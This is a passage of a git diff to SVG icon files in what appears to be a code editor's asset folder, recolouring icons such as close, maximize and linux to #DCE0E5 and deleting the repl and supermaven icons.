-<path d="M4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9628 8.6885 13.7533 12.75 12.5721 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
-<path d="M5.19598 12.752H3.66515C3.42618 12.752 3.22289 12.4453 3.18626 12.2017L1.94333 3.936C1.89776 3.63293 2.12496 3.35938 2.42223 3.35938H5.78585C6.11241 3.35938 6.41702 3.52901 6.59618 3.81069C6.81354 4.15241 7.19044 4.35937 7.59543 4.35937H9.92811C10.4007 4.35937 10.8044 4.711 10.8836 5.19168L11.1251 6.65622" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path opacity="0.8" d="M5.46293 7.92298C5.46938 7.6844 5.66427 7.49307 5.90369 7.49307H13.7073C13.9467 7.49307 14.1401 7.6844 14.1335 7.92298C14.1 9.16418 13.9102 12.4787 12.8403 12.4787H4.50925C5.57932 12.4787 5.4293 9.16418 5.46293 7.92298Z" fill="#DCE0E5"/>
+<path d="M5.46293 7.92298C5.46938 7.6844 5.66427 7.49307 5.90369 7.49307H13.7073C13.9467 7.49307 14.1401 7.6844 14.1335 7.92298C14.1 9.16418 13.9102 12.4787 12.8403 12.4787H4.50925C5.57932 12.4787 5.4293 9.16418 5.46293 7.92298Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M6.0299 12.481H4.0299C2.92533 12.481 2.0299 11.5856 2.0299 10.481L2 5C2 3.89543 2.89543 3 4 3H5.12223C5.65267 3 6.16137 3.21071 6.53645 3.58579L7.36487 4.41421C7.73995 4.78929 8.24865 5 8.77909 5H10.9507C12.0553 5 12.9507 5.89543 12.9507 7V7.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
 </svg>
diff --git a/assets/icons/generic_close.svg b/assets/icons/generic_close.svg
index 0fd213daf9c81f..2326c2fcd56cfd 100644
--- a/assets/icons/generic_close.svg
+++ b/assets/icons/generic_close.svg
@@ -1,4 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M11.5 4.5L4.5 11.5" stroke="black" stroke-linecap="square" stroke-linejoin="round"/>
-<path d="M4.5 4.5L11.5 11.5" stroke="black" stroke-linecap="square" stroke-linejoin="round"/>
+<path d="M11.5 4.5L4.5 11.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="square" stroke-linejoin="round"/>
+<path d="M4.5 4.5L11.5 11.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="square" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/generic_maximize.svg b/assets/icons/generic_maximize.svg
index f1d7da44efa954..a7db33feb62634 100644
--- a/assets/icons/generic_maximize.svg
+++ b/assets/icons/generic_maximize.svg
@@ -1,3 +1,3 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M11.5 4.5H4.5V11.5H11.5V4.5Z" stroke="black"/>
+<path d="M11.5 4.5H4.5V11.5H11.5V4.5Z" stroke="#DCE0E5" stroke-width="1.2"/>
 </svg>
diff --git a/assets/icons/generic_minimize.svg b/assets/icons/generic_minimize.svg
index 4b43cde2743e26..b39b215620f391 100644
--- a/assets/icons/generic_minimize.svg
+++ b/assets/icons/generic_minimize.svg
@@ -1,3 +1,3 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M4 8H12" stroke="black"/>
+<path d="M4 8H12" stroke="#DCE0E5" stroke-width="1.2"/>
 </svg>
diff --git a/assets/icons/generic_restore.svg b/assets/icons/generic_restore.svg
index d8a3d72bcd001a..c5cbcf3fd72513 100644
--- a/assets/icons/generic_restore.svg
+++ b/assets/icons/generic_restore.svg
@@ -1,4 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M9.5 6.5H3.5V12.5H9.5V6.5Z" stroke="black"/>
-<path d="M10 8.5L12.5 8.5L12.5 3.5L7.5 3.5L7.5 6" stroke="black"/>
+<path d="M9.5 6.5H3.5V12.5H9.5V6.5Z" stroke="#DCE0E5" stroke-width="1.2"/>
+<path d="M10 8.5H12.5V3.5H7.5V6" stroke="#DCE0E5" stroke-width="1.2"/>
 </svg>
diff --git a/assets/icons/git_worktree.svg b/assets/icons/git_worktree.svg
index deb7172584fb43..af98f89591f56e 100644
--- a/assets/icons/git_worktree.svg
+++ b/assets/icons/git_worktree.svg
@@ -1,7 +1,7 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M6.81506 7.834L11.3571 3.29195" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M8.53091 9.5509L11.3556 12.3756" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M2.28955 7.834H6.80326" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M11.7743 6.31279V2.87418H8.33571" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M8.33417 12.7932L11.7728 12.7932L11.7728 9.35463" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M7.78314 8.0003L12.3252 3.45825" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M9.49899 9.71719L12.3237 12.5419" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M3.25763 8.00031H7.77134" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M12.7424 6.47908V3.04047H9.3038" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M9.30225 12.9595H12.7409V9.52094" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/linux.svg b/assets/icons/linux.svg
index fc76742a3f2366..9b44656c05c9f8 100644
--- a/assets/icons/linux.svg
+++ b/assets/icons/linux.svg
@@ -1,10 +1,15 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<g clip-path="url(#clip0_3010_383)">
-<path fill-rule="evenodd" clip-rule="evenodd" d="M3.71141 7.06133C3.76141 6.47267 3.78341 5.88133 3.81608 5.29133C4.10416 0.190201 11.896 0.190202 12.1841 5.29133C12.2174 5.898 12.2441 6.50333 12.3067 7.10733C12.6951 7.94202 14.3637 11.6214 13.4134 12.006C13.1894 12.096 12.8041 11.7227 12.3694 11.052C12.207 11.9614 11.7273 12.8132 11.0587 13.4467C11.7441 13.68 12.3334 13.998 12.3334 14.3333C12.3334 14.9176 3.66675 14.9257 3.66675 14.3333C3.66675 13.998 4.25608 13.68 4.94141 13.4467C4.26191 12.803 3.82279 11.9657 3.62408 11.056C3.19075 11.724 2.80608 12.096 2.58341 12.006C1.626 11.6185 3.31478 7.90684 3.71141 7.06133Z" stroke="#7B7B7B" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M6.11822 6.6L7.68822 7.89C7.85822 8.03 8.12822 8.03 8.29822 7.89L9.86822 6.6C10.1382 6.38 9.94822 6 9.56822 6H6.42822C6.04822 6 5.85822 6.38 6.12822 6.6H6.11822Z" fill="#7B7B7B"/>
+<g clip-path="url(#clip0_216_9658)">
+<mask id="mask0_216_9658" style="mask-type:luminance" maskUnits="userSpaceOnUse" x="0" y="0" width="16" height="16">
+<path d="M16 0H0V16H16V0Z" fill="white"/>
+</mask>
+<g mask="url(#mask0_216_9658)">
+<path fill-rule="evenodd" clip-rule="evenodd" d="M3.71141 7.06133C3.76141 6.47267 3.78341 5.88133 3.81608 5.29133C4.10416 0.190202 11.896 0.190203 12.1841 5.29133C12.2174 5.898 12.2441 6.50333 12.3067 7.10733C12.6951 7.94202 14.3637 11.6214 13.4134 12.006C13.1894 12.096 12.8041 11.7227 12.3694 11.052C12.207 11.9614 11.7273 12.8132 11.0587 13.4467C11.7441 13.68 12.3334 13.998 12.3334 14.3333C12.3334 14.9176 3.66675 14.9257 3.66675 14.3333C3.66675 13.998 4.25608 13.68 4.94141 13.4467C4.26191 12.803 3.82279 11.9657 3.62408 11.056C3.19075 11.724 2.80608 12.096 2.58341 12.006C1.626 11.6185 3.31478 7.90684 3.71141 7.06133Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6.11822 6.6L7.68822 7.89C7.85822 8.03 8.12822 8.03 8.29822 7.89L9.86822 6.6C10.1382 6.38 9.94822 6 9.56822 6H6.42822C6.04822 6 5.85822 6.38 6.12822 6.6H6.11822Z" fill="#DCE0E5"/>
+</g>
 </g>
 <defs>
-<clipPath id="clip0_3010_383">
+<clipPath id="clip0_216_9658">
 <rect width="16" height="16" fill="white"/>
 </clipPath>
 </defs>
diff --git a/assets/icons/magnifying_glass.svg b/assets/icons/magnifying_glass.svg
index 24f00bb51bccc3..10f84017cd9823 100644
--- a/assets/icons/magnifying_glass.svg
+++ b/assets/icons/magnifying_glass.svg
@@ -1,4 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M13 13L10.4138 10.4138ZM3 7.31034C3 4.92981 4.92981 3 7.31034 3C9.6909 3 11.6207 4.92981 11.6207 7.31034C11.6207 9.6909 9.6909 11.6207 7.31034 11.6207C4.92981 11.6207 3 9.6909 3 7.31034Z" fill="black" fill-opacity="0.15"/>
-<path d="M13 13L10.4138 10.4138M3 7.31034C3 4.92981 4.92981 3 7.31034 3C9.6909 3 11.6207 4.92981 11.6207 7.31034C11.6207 9.6909 9.6909 11.6207 7.31034 11.6207C4.92981 11.6207 3 9.6909 3 7.31034Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path opacity="0.1" d="M3 7.31034C3 4.92981 4.92981 3 7.31034 3C9.6909 3 11.6207 4.92981 11.6207 7.31034C11.6207 9.6909 9.6909 11.6207 7.31034 11.6207C4.92981 11.6207 3 9.6909 3 7.31034Z" fill="#DCE0E5"/>
+<path d="M13 13L10.4138 10.4138M3 7.31034C3 4.92981 4.92981 3 7.31034 3C9.6909 3 11.6207 4.92981 11.6207 7.31034C11.6207 9.6909 9.6909 11.6207 7.31034 11.6207C4.92981 11.6207 3 9.6909 3 7.31034Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/repl_off.svg b/assets/icons/repl_off.svg
deleted file mode 100644
index 3018ceaf8588cd..00000000000000
--- a/assets/icons/repl_off.svg
+++ /dev/null
@@ -1,11 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M14.0039 8.01361C13.9981 7.31989 13.8495 6.63699 13.5698 6" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M7.00391 2.01361C7.74152 2.01361 8.2084 2.01361 9.00391 2.01361" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M13.0039 11.0136C12.4719 11.8034 11.7928 12.4825 11.0039 13.0136" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.00391 14.0136C8.28937 14.0136 7.71844 14.0136 7.00391 14.0136" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M3.00391 5.01361C3.53595 4.22382 4.21507 3.5447 5.00391 3.01361" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M8.00391 9.01361C8.55621 9.01361 9.00391 8.56591 9.00391 8.01361C9.00391 7.46131 8.55621 7.01361 8.00391 7.01361C7.45161 7.01361 7.00391 7.46131 7.00391 8.01361C7.00391 8.56591 7.45161 9.01361 8.00391 9.01361Z" fill="black" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M12.5 6C13.3284 6 14 5.32843 14 4.5C14 3.67157 13.3284 3 12.5 3C11.6716 3 11 3.67157 11 4.5C11 5.32843 11.6716 6 12.5 6Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M3.5 13C4.32843 13 5 12.3284 5 11.5C5 10.6716 4.32843 10 3.5 10C2.67157 10 2 10.6716 2 11.5C2 12.3284 2.67157 13 3.5 13Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M2.00391 8.01361C2.01055 8.69737 2.15535 9.37058 2.42723 10" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-</svg>
diff --git a/assets/icons/repl_pause.svg b/assets/icons/repl_pause.svg
deleted file mode 100644
index 5a69a576c1152d..00000000000000
--- a/assets/icons/repl_pause.svg
+++ /dev/null
@@ -1,8 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M12.5 6C13.3284 6 14 5.32843 14 4.5C14 3.67157 13.3284 3 12.5 3C11.6716 3 11 3.67157 11 4.5C11 5.32843 11.6716 6 12.5 6Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M3.5 13C4.32843 13 5 12.3284 5 11.5C5 10.6716 4.32843 10 3.5 10C2.67157 10 2 10.6716 2 11.5C2 12.3284 2.67157 13 3.5 13Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M7.00391 13.9293C8.16208 14.1122 9.35055 13.9659 10.4234 13.5085C11.4962 13.0511 12.4066 12.3024 13.0426 11.3545C13.6787 10.4066 14.0128 9.30075 14.0037 8.17293C13.9977 7.42342 13.8404 6.68587 13.5444 6" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.00391 2.07233C7.83928 1.90288 6.64809 2.05936 5.57504 2.52278C4.502 2.9862 3.59331 3.73659 2.95939 4.68279C2.32547 5.62899 1.99362 6.73024 2.00415 7.85274C2.0111 8.59299 2.16675 9.32147 2.45883 10" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M7.00391 10.0059V6.00592" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.00391 10.0059V6.00592" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-</svg>
diff --git a/assets/icons/repl_play.svg b/assets/icons/repl_play.svg
deleted file mode 100644
index 0c8f4b0832ba2d..00000000000000
--- a/assets/icons/repl_play.svg
+++ /dev/null
@@ -1,7 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M7.00366 6.16662C7.00366 6.03849 7.14274 5.96206 7.24661 6.03313L9.93408 7.87243C10.0269 7.93591 10.0269 8.07591 9.93408 8.13939L7.24661 9.97871C7.14274 10.0498 7.00366 9.97336 7.00366 9.84518V6.16662Z" fill="black" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M12.5 6C13.3284 6 14 5.32843 14 4.5C14 3.67157 13.3284 3 12.5 3C11.6716 3 11 3.67157 11 4.5C11 5.32843 11.6716 6 12.5 6Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M3.5 13C4.32843 13 5 12.3284 5 11.5C5 10.6716 4.32843 10 3.5 10C2.67157 10 2 10.6716 2 11.5C2 12.3284 2.67157 13 3.5 13Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M7.00391 13.9293C8.16208 14.1122 9.35055 13.9659 10.4234 13.5085C11.4962 13.0511 12.4066 12.3024 13.0426 11.3545C13.6787 10.4066 14.0128 9.30075 14.0037 8.17293C13.9977 7.42342 13.8404 6.68587 13.5444 6" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.00391 2.07233C7.83928 1.90288 6.64809 2.05936 5.57504 2.52278C4.502 2.9862 3.59331 3.73659 2.95939 4.68279C2.32547 5.62899 1.99362 6.73024 2.00415 7.85274C2.0111 8.59299 2.16675 9.32147 2.45883 10" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-</svg>
diff --git a/assets/icons/reply_arrow_right.svg b/assets/icons/reply_arrow_right.svg
index d8321e8b3eb55c..69e74c4c233a3e 100644
--- a/assets/icons/reply_arrow_right.svg
+++ b/assets/icons/reply_arrow_right.svg
@@ -1,3 +1,3 @@
-<svg width="16" height="16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M2.668 11.332v-.797c0-1.12 0-1.683.219-2.11.191-.374.496-.683.87-.874.43-.219.99-.219 2.11-.219h7.469m0 0-2.668-2.664m2.668 2.664L10.668 10" stroke="black" stroke-width="1.33334" stroke-linecap="round"/>
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M2.668 11.332V10.535C2.668 9.415 2.668 8.852 2.887 8.425C3.078 8.051 3.383 7.742 3.757 7.551C4.187 7.332 4.747 7.332 5.867 7.332H13.336M10.668 10L13.336 7.332L10.668 4.668" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
 </svg>
diff --git a/assets/icons/split.svg b/assets/icons/split.svg
index b2be46a875b461..f762f21bc0e78b 100644
--- a/assets/icons/split.svg
+++ b/assets/icons/split.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<rect x="8" y="2" width="6" height="12" fill="black" fill-opacity="0.25"/>
-<path d="M13.4 2H2.6C2.26863 2 2 2.26863 2 2.6V13.4C2 13.7314 2.26863 14 2.6 14H13.4C13.7314 14 14 13.7314 14 13.4V2.6C14 2.26863 13.7314 2 13.4 2Z" stroke="black" stroke-width="1.2"/>
-<path d="M8 2L8 14" stroke="black" stroke-width="1.2"/>
+<path opacity="0.15" d="M14 2H8V14H14V2Z" fill="#DCE0E5"/>
+<path d="M13.4 2H2.6C2.26863 2 2 2.26863 2 2.6V13.4C2 13.7314 2.26863 14 2.6 14H13.4C13.7314 14 14 13.7314 14 13.4V2.6C14 2.26863 13.7314 2 13.4 2Z" stroke="#DCE0E5" stroke-width="1.2"/>
+<path d="M8 2V14" stroke="#DCE0E5" stroke-width="1.2"/>
 </svg>
diff --git a/assets/icons/supermaven_disabled.svg b/assets/icons/supermaven_disabled.svg
deleted file mode 100644
index 25eea54cdeffa8..00000000000000
--- a/assets/icons/supermaven_disabled.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="none"><g fill="#000" clip-path="url(#a)"><g opacity=".5"><path d="M3.781 14.938a1.031 1.031 0 1 0 0-2.063 1.031 1.031 0 0 0 0 2.063Z"/><path fill-rule="evenodd" d="m7.469 9.187-2.774 5.22-1.82-.969 2.774-5.22 1.82.969ZM8.438 3 5.644 8.218 3.813 7.25l2.792-5.22L8.437 3Z" clip-rule="evenodd"/><path d="M7.5 3.531a1.031 1.031 0 1 0 0-2.062 1.031 1.031 0 0 0 0 2.062Z"/><path fill-rule="evenodd" d="M12.437 1.5c.46.114.782.527.782 1v11.406h-2.064V6.635l-1.864 3.504-1.822-.968 3.807-7.155c.222-.418.701-.631 1.16-.517Z" clip-rule="evenodd"/><path d="M12.188 14.938a1.031 1.031 0 1 0 0-2.063 1.031 1.031 0 0 0 0 2.063Z"/></g><path d="m.906 6.423.845-1.813 13.595 6.34-.845 1.812L.906 6.422Z"/><path d="M15.69 12.213a1 1 0 1 0-1.812-.845 1 1 0 0 0 1.812.845ZM2.235 5.939a1 1 0 1 0-1.812-.845 1 1 0 0 0 1.812.845Z"/></g><defs><clipPath id="a"><path fill="#fff" d="M0 0h16v16H0z"/></clipPath></defs></svg>
diff --git a/assets/icons/supermaven_error.svg b/assets/icons/supermaven_error.svg
deleted file mode 100644
index a0a12e17c32963..00000000000000
--- a/assets/icons/supermaven_error.svg
+++ /dev/null
@@ -1,11 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<g opacity="0.5">
-<path d="M3.78125 14.9375C4.35078 14.9375 4.8125 14.4758 4.8125 13.9062C4.8125 13.3367 4.35078 12.875 3.78125 12.875C3.21172 12.875 2.75 13.3367 2.75 13.9062C2.75 14.4758 3.21172 14.9375 3.78125 14.9375Z" fill="black"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M7.46875 9.18684L4.69484 14.4062L2.875 13.4382L5.64891 8.21875L7.46875 9.18684Z" fill="black"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M8.4375 2.99935L5.64475 8.21875L3.8125 7.25066L6.60525 2.03125L8.4375 2.99935Z" fill="black"/>
-<path d="M7.5 3.53125C8.06953 3.53125 8.53125 3.06954 8.53125 2.5C8.53125 1.93046 8.06953 1.46875 7.5 1.46875C6.93047 1.46875 6.46875 1.93046 6.46875 2.5C6.46875 3.06954 6.93047 3.53125 7.5 3.53125Z" fill="black"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M12.4366 1.49947C12.8962 1.61399 13.2188 2.02651 13.2188 2.49985V13.9063H11.1552V6.63497L9.29072 10.1392L7.46875 9.17109L11.276 2.01583C11.4984 1.59789 11.977 1.38496 12.4366 1.49947Z" fill="black"/>
-<path d="M12.1875 14.9375C12.757 14.9375 13.2188 14.4758 13.2188 13.9062C13.2188 13.3367 12.757 12.875 12.1875 12.875C11.618 12.875 11.1562 13.3367 11.1562 13.9062C11.1562 14.4758 11.618 14.9375 12.1875 14.9375Z" fill="black"/>
-</g>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M14.6847 15.9265C14.7823 16.0241 14.9406 16.0241 15.0382 15.9265L15.9259 15.0387C16.0235 14.9411 16.0235 14.7828 15.9259 14.6851L14.2408 12.9999L15.9259 11.3146C16.0236 11.217 16.0236 11.0587 15.9259 10.961L15.0382 10.0733C14.9406 9.97562 14.7823 9.97562 14.6847 10.0733L12.9996 11.7585L11.3145 10.0732C11.2169 9.9756 11.0586 9.9756 10.9609 10.0732L10.0732 10.961C9.9756 11.0587 9.9756 11.217 10.0732 11.3146L11.7584 12.9999L10.0732 14.6851C9.97563 14.7828 9.97563 14.9411 10.0732 15.0387L10.9609 15.9265C11.0586 16.0242 11.2169 16.0242 11.3145 15.9265L12.9996 14.2413L14.6847 15.9265Z" fill="black"/>
-</svg>
diff --git a/assets/icons/supermaven_init.svg b/assets/icons/supermaven_init.svg
deleted file mode 100644
index 6851aad49dc7e7..00000000000000
--- a/assets/icons/supermaven_init.svg
+++ /dev/null
@@ -1,11 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<g opacity="0.5">
-<path d="M3.78125 14.9375C4.35078 14.9375 4.8125 14.4758 4.8125 13.9062C4.8125 13.3367 4.35078 12.875 3.78125 12.875C3.21172 12.875 2.75 13.3367 2.75 13.9062C2.75 14.4758 3.21172 14.9375 3.78125 14.9375Z" fill="black"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M7.46875 9.18684L4.69484 14.4062L2.875 13.4382L5.64891 8.21875L7.46875 9.18684Z" fill="black"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M8.4375 2.99935L5.64475 8.21875L3.8125 7.25066L6.60525 2.03125L8.4375 2.99935Z" fill="black"/>
-<path d="M7.5 3.53125C8.06953 3.53125 8.53125 3.06954 8.53125 2.5C8.53125 1.93046 8.06953 1.46875 7.5 1.46875C6.93047 1.46875 6.46875 1.93046 6.46875 2.5C6.46875 3.06954 6.93047 3.53125 7.5 3.53125Z" fill="black"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M12.4366 1.49947C12.8962 1.61399 13.2188 2.02651 13.2188 2.49985V13.9063H11.1552V6.63497L9.29072 10.1392L7.46875 9.17109L11.276 2.01583C11.4984 1.59789 11.977 1.38496 12.4366 1.49947Z" fill="black"/>
-<path d="M12.1875 14.9375C12.757 14.9375 13.2188 14.4758 13.2188 13.9062C13.2188 13.3367 12.757 12.875 12.1875 12.875C11.618 12.875 11.1562 13.3367 11.1562 13.9062C11.1562 14.4758 11.618 14.9375 12.1875 14.9375Z" fill="black"/>
-</g>
-<path d="M13 16C14.6569 16 16 14.6569 16 13C16 11.3431 14.6569 10 13 10C11.3431 10 10 11.3431 10 13C10 14.6569 11.3431 16 13 16Z" fill="black"/>
-</svg>
diff --git a/assets/icons/terminal_alt.svg b/assets/icons/terminal_alt.svg
index d03c05423e24fa..fb47bacd6a920d 100644
--- a/assets/icons/terminal_alt.svg
+++ b/assets/icons/terminal_alt.svg
@@ -1,5 +1,6 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M12.2782 2.49951H3.72184C3.04677 2.49951 2.49951 3.04677 2.49951 3.72184V12.2782C2.49951 12.9532 3.04677 13.5005 3.72184 13.5005H12.2782C12.9532 13.5005 13.5005 12.9532 13.5005 12.2782V3.72184C13.5005 3.04677 12.9532 2.49951 12.2782 2.49951Z" fill="black" fill-opacity="0.15" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M8 10.7502H10.7502" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M5.24976 9.21777L7.08325 7.38428L5.24976 5.55078" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path opacity="0.1" d="M12.2782 2.49951H3.72184C3.04677 2.49951 2.49951 3.04677 2.49951 3.72184V12.2782C2.49951 12.9532 3.04677 13.5005 3.72184 13.5005H12.2782C12.9532 13.5005 13.5005 12.9532 13.5005 12.2782V3.72184C13.5005 3.04677 12.9532 2.49951 12.2782 2.49951Z" fill="#DCE0E5"/>
+<path d="M12.2782 2.49951H3.72184C3.04677 2.49951 2.49951 3.04677 2.49951 3.72184V12.2782C2.49951 12.9532 3.04677 13.5005 3.72184 13.5005H12.2782C12.9532 13.5005 13.5005 12.9532 13.5005 12.2782V3.72184C13.5005 3.04677 12.9532 2.49951 12.2782 2.49951Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M8 10.7502H10.7502" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M5.24976 9.21777L7.08325 7.38428L5.24976 5.55078" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/thinking_mode_off.svg b/assets/icons/thinking_mode_off.svg
index e313950ce41303..ff74e4089e19c7 100644
--- a/assets/icons/thinking_mode_off.svg
+++ b/assets/icons/thinking_mode_off.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M6.03722 10.2625C5.9067 9.62316 6.03718 9.62442 5.05829 8.47947C4.73761 8.16533 4.51949 7.86033 4.37222 7.56792M6.03722 10.2625L6.03718 12.3893C6.03718 13.0544 6.58765 13.5937 7.2667 13.5937H8.72323C9.40228 13.5937 9.95264 13.0544 9.95264 12.3893V12.0283M6.03722 10.2625H7.5" stroke="#C6CAD0" stroke-width="1.25" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M6 2.9415C6.59896 2.59412 7.28707 2.40634 7.99495 2.40634C9.03341 2.40634 10.0294 2.81046 10.7637 3.52978C11.4979 4.2491 11.9105 5.22472 11.9105 6.242C11.9105 6.87697 11.6713 7.46553 11.3046 8" stroke="#C6CAD0" stroke-width="1.25" stroke-linecap="round" stroke-linejoin="round"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M14.1225 13.809C14.0341 13.9146 13.877 13.9289 13.7711 13.8409L1.19311 3.4002C1.08659 3.31177 1.07221 3.15361 1.16104 3.04742L1.87752 2.191C1.96588 2.08539 2.123 2.07111 2.22895 2.15905L14.8069 12.5998C14.9134 12.6882 14.9278 12.8464 14.839 12.9526L14.1225 13.809Z" fill="#C6CAD0"/>
+<path d="M6.03722 10.2625C5.9067 9.62317 6.03718 9.62443 5.05829 8.47948C4.73761 8.16534 4.51949 7.86034 4.37222 7.56793M6.03722 10.2625L6.03718 12.3893C6.03718 13.0544 6.58765 13.5937 7.2667 13.5937H8.72323C9.40228 13.5937 9.95264 13.0544 9.95264 12.3893V12.0283M6.03722 10.2625H7.5" stroke="#DCE0E5" stroke-width="1.25" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6 2.9415C6.59896 2.59412 7.28707 2.40634 7.99495 2.40634C9.03341 2.40634 10.0294 2.81046 10.7637 3.52978C11.4979 4.2491 11.9105 5.22472 11.9105 6.242C11.9105 6.87697 11.6713 7.46553 11.3046 8" stroke="#DCE0E5" stroke-width="1.25" stroke-linecap="round" stroke-linejoin="round"/>
